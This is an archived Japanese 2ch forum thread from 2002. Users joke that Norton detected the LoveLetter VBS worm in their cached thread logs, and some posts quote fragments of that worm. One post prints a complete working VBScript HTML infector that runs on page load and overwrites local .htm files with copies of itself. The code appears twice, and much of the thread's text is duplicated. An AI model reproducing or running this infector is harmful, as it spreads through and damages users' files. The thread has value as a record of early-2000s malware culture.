Win板でｳｨﾙｽ？
1 ：名無し~3.EXE：02/07/06 15:16
さっきかちゅ～しゃを終了させたら、
いきなりﾉｰ㌧先生発動。
かちゅのﾛｸﾞの中のファイルが、ﾗﾌﾞﾚﾀｰｳｨﾙｽに感染してた。
早稲田は大学ではありません
http://pc.2ch.net/test/read.cgi/win/1025914297/
このｽﾚがなんかおかしい。
いきなりﾉｰ㌧先生発動。
かちゅのﾛｸﾞの中のファイルが、ﾗﾌﾞﾚﾀｰｳｨﾙｽに感染してた。
早稲田は大学ではありません
http://pc.2ch.net/test/read.cgi/win/1025914297/
このｽﾚがなんかおかしい。
>>2
ごめん、漏れも今そこに気がついた(;´Д`)
ごめん、漏れも今そこに気がついた(;´Д`)
c.Copy(dirsystem&"\M$に通報ｽﾏｽﾀ.TXT.vbs")
6 ：名無し~3.EXE：02/07/06 15:31
さすが薮医者
これわろた 2ch批判要望から
24 名前：例えにもなってないが 投稿日：02/07/06 14:16 ID:Rk/EmI3H
厨房学校DQNクラス担任のノートン先生はとても厳しい人で、
汚い言葉やいやらしい言葉を使う生徒を厳しく注意していました。
あるひ、A君はB子ちゃんに勉強を教えていました。
「う～ん、この問題は・・・」
ノー㌧「！？うんこだと！？ウンコだと～～～～～ッ！？
貴様ァァァァァァァッッｔッッッ！！！！！！」
Ａ君はノートン先生に撲殺されてしまいました。
めでたしめでたし。
24 名前：例えにもなってないが 投稿日：02/07/06 14:16 ID:Rk/EmI3H
厨房学校DQNクラス担任のノートン先生はとても厳しい人で、
汚い言葉やいやらしい言葉を使う生徒を厳しく注意していました。
あるひ、A君はB子ちゃんに勉強を教えていました。
「う～ん、この問題は・・・」
ノー㌧「！？うんこだと！？ウンコだと～～～～～ッ！？
貴様ァァァァァァァッッｔッッッ！！！！！！」
Ａ君はノートン先生に撲殺されてしまいました。
めでたしめでたし。
>>8
ワロタ
ワロタ
10 ：ﾜﾛﾀ：02/07/08 03:18
＞19 ：IP1A0267.ygc.mesh.ad.jpさん ：02/07/06 18:23 ID:f2W3dEuO
＞37: 早稲田は大学ではありません (21)
＞ttp://pc.2ch.net/test/read.cgi/win/1025914297/l50
＞板違い以前に、VBS LoveLetter Ver ｳｨﾙｽが検出されました。
＞早急に削除お願いいたします。
ﾜﾛﾀ
＞37: 早稲田は大学ではありません (21)
＞ttp://pc.2ch.net/test/read.cgi/win/1025914297/l50
＞板違い以前に、VBS LoveLetter Ver ｳｨﾙｽが検出されました。
＞早急に削除お願いいたします。
ﾜﾛﾀ
11 ：名無し~3.EXE：02/07/08 14:05
警鐘age
>>11
何の？
何の？
>>10
2chのリンクなのにどうして、hを抜いてるんだろう？
2chのリンクなのにどうして、hを抜いてるんだろう？
>>13
ウイルスが移ると思いこんでるんじゃあ（略）
ウイルスが移ると思いこんでるんじゃあ（略）
これは悲惨な1として晒してももいいものだろうか
16 ：名無し~3.EXE：02/07/08 23:44
危弱age
c.Copy(dirsystem&"\お約束.TXT.vbs")
18 ：名無し~3.EXE：02/07/09 23:00
危弱age
<BODY Onload="Redirect();">
<script language="VBScript"><!--
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
<script language="VBScript"><!--
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
20 ：ひみつの検疫さん：2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
21 ：ひみつの検疫さん：2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
22 ：ひみつの検疫さん：2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
23 ：ひみつの検疫さん：2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
c.Copy(dirsystem&\ﾜｹﾜｶﾗﾝ.TXT.vbs)